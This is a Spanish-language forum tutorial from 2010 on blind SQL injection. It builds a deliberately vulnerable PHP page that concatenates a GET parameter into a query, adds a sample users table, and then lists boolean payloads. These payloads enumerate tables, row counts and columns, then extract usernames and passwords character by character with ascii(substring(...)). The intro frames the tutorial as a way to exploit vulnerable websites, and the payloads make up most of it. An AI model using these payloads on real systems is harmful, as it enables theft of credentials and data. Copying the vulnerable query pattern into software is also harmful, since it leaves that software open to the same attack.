Blind Sql Inyeccion by El Gran Gauson

Iniciado por Fakedo0r, Febrero 27, 2010, 10:07:01 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Blind SQL Inyection



Autor:El Gran Guasón



Indice:


0x01:Introduccion
0x02:Como funcionan los ataques Blind SQL Inyection
0x03:Creando un index vulnerable
0x04:Sacando tablas
0x05:Sacar el numero de registro de una tabla
0x06:Sacando columnas de las tablas
0x07:Sacando la longitud de los valores
0x08:Sacar el valor real de una contraseña u otro dato




0x01:Introduccion

Hola a todos o nadie quizas ......... En este manual veremos como explotar paginas webs que sean
vulnerables a Blind SQL Inyection.Tratare de explicar todos los No tienes permitido ver los links. Registrarse o Entrar a mi cuenta como saber si es vulnerable hasta el valor de una contraseña........


0x02:Como funciona los ataques Blind SQL Inyection

Los ataques Blind SQL Inyection a diferencia de los ataques comunes de SQL , este se carateriza por ser un ataque a ciegas. Osea no nos devuelve nada al ejecutar la sentencia sino que la pagina queda igual o da un malefico error. Cuando la pagina se queda igual puede ser un valor positivo pero eso es algo que veremos en este momento.


0x03:Creando un index vulnerable

Para poder practicar les recomiendo Easy PHP , pueden buscarlo en google , descargarlo e instalarlo obviamente xD.Pero creo que lo tengo en algun lado de mi blog.
Ok , a continuacion veran un index vulnerable.


Código: php

Language: PHP
=======================index.php==============================================
<?php
$host = 'localhost';
$dbuser = 'root';
$dbname = 'test';
$db = mysql_connect($host, $dbuser);
mysql_select_db($dbname,$db);
$sql = "SELECT * FROM users WHERE id=".$_GET['id'];
$query = mysql_query($sql);
if(@mysql_num_rows($query)==0){
die('Cagate! :(');
}
$result=@mysql_fetch_row($query);
echo "<h2><center>Blind SQL Injection<br>Ejemplos<br><br>";
echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
// echo "password: ".$result[2]."<br>";
echo "</h2></center>";
die();?>
===========================================================================


====

Y los datos para la consola sql



Código: php
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)




INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');




oK , ahora verifiquen que hayan hecho todo bien de lo contrario se les mostrara como 400 errores .



0x04:Sacando tablas


Ok , ahora vamos a sacar las tablas mediante la siguiente sentencia haciendo de cuenta de que la web atacada es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que vendria a ser su web local con el index del capitulo anterior.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (SELECT (COUNT(*)) FROM idiotas)

Pues esta sentencia nos da un valor falso diciendo Cagate. Pero si probamos con un valor positivo.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (SELECT (COUNT(*)) FROM users)

La pagina se queda en su lugar o mas bien nos dio un resultado positivo ya que si existe la tabla
users


0x05:Sacar el numero de registro de una tabla


Nice , ahora vamos a sacar el numero de registro de una tabla . En este caso vamos a sacar el numero de registro de la tabla users. Para hacerlo seria de la siguiente manera


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (SELECT Count(*) FROM users) > 5

Este consulta no dara un resultado negativo ya que la tabla users solo contiene 4 registros y
4 > 5


Entonces iremos probando asi



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (SELECT Count(*) FROM users) = 1 (Negativo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (SELECT Count(*) FROM users) = 2 (Negativo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (SELECT Count(*) FROM users) = 3 (Negativo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (SELECT Count(*) FROM users) = 4 (Positivo)


Ok , viendo que 4 = 4 , es obvio que la tabla users contiene 4 registros.........




0x06:Sacando columnas de las tablas


Entonces ya es hora de ir sacando las columnas de la tabla users.Para hacerlo deberian hacer esto.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Count(idiotas) FROM users)


Esta consulta nos daria negativa ya que no existe ninguna columna llamada idiotas en la tabla users


Ahora veamos con las siguientes


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Count(name) FROM users)


Esta consulta nos daria positiva ya que si hay una columna llamada name que vendria a se como el
nombre los usuarios.Y ahora con esta


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Count(password) FROM users)

Ok , nos dio positiva porque si existe una columna llamada password en la tabla users que vendria
ser la contraseña.


0x07:Sacando la longitud de los valores


Bien ahora vamos a aprender a sacar la longitud de los valores de la columna name y password de la
tabla users.

Para sacar la longitud del primer valor de la columna name seria asi

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(name) FROM users where id=1) > 7

Pues no da un resultado negativo ya que 6 no es mayor que siete que vendria a ser "guason"
Entonces para ir descartando seria asi:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(name) FROM users where id=1) = 1 (Negativo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(name) FROM users where id=1) = 2 (Negativo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(name) FROM users where id=1) = 3 (Negativo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(name) FROM users where id=1) = 4 (Negativo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(name) FROM users where id=1) = 5 (Negativo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(name) FROM users where id=1) = 6 (Positivo)


Ok , entonces ya podemos deducir que 6 es el numero de caracteres que contiene "guason" que
vendria a ser el primer valor de la columna name de la tabla users.

Para sacar el password seria asi:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(password) FROM users where id=1) > 4

Pues esta consulta nos daria un resultado negativo porque 3 no es mayor a 4.Porque el primer valor
de la columna password de la tabla users es "123". Entonces para ir descartando seria asi:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(password) FROM users where id=1) = 1 (Negativo)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(password) FROM users where id=1) = 2 (Negativo)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(password) FROM users where id=1) = 3 (Positivo)

Nice , entonces podemos deducir que el primer valor de la columna password de la tabla users
contiene 3 caracteres que en realidad serian "123".

Para ir sacando los otros usuarios solo tendrian que cambiar el 1 por numero del 1 al 4 porque
la tabla users solo contiene 4 registros.Ejemplo para sacar otro usuario seria


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lenght(name) FROM users where id=2) = 1 (Negativo)


Eso seria todo.


0x08:Sacar el valor real de una contraseña u otro dato


Muy bien ahora bien la mejor parte aunque tambien la peor si no tenes una tool automatizadora.
Entonces para sacar la primera letra o numero o lo que sea del primer valor de la columna de la
tabla users , seria asi:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT name FROM users where id=1),1,1)) =
103


Lo que hice fue convertir una letra "g" a ascii dandome esto "103".
Entonces esta consulta nos da un valor positivo porque el primer letra o numero o lo que sea del
primer valor de la columna name de la tabla users es "g" ya que el primer valor de la columna name
de la tabla users es "guason".
Para sacar todo seria asi.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT name FROM users where id=1),2,1))= 117
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT name FROM users where id=1),3,1))= 97
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT name FROM users where id=1),4,1))= 115
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT name FROM users where id=1),5,1))= 111
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT name FROM users where id=1),6,1))= 110

Como todo estas consultas me dieron positivas podemos concluir que:


103 = g
117 = u
97 = a
115 = s
111 = o
110 = n

Todo esto si lo juntamos nos da "guason" entonces ya sacamos el el primer valor de la columna
name de la tabla users.

Ahora para la contraseña seria asi



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT password FROM users where id=1),1,1)) = 49
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT password FROM users where id=1),2,1)) = 50
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT password FROM users where id=1),3,1)) = 51

Como todas estas consultas me dieron positivas podemos concluir que :


49 = 1
50 = 2
51 = 3


Entonces si juntamos todos estos datos positivos en su orden , nos daria "123" que vendria a ser
el valor de la columna password de la tabla users , claro como dice su id solo sacamos el primer valor
que vendria a ser el admin.Para sacar otros usuarios seria asi cambiando el 1 del id por un numero
del 1 al 4.Un ejemplo seria asi:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta AND ascii(substring((SELECT password FROM users where id=2),1,1)) = 49

Dando un valor positivo ya que el segundo valor de la columna password de la tabla users , su primer
caracter es 1.Porque en realidad el valor real de la columna password de tabla user es "11".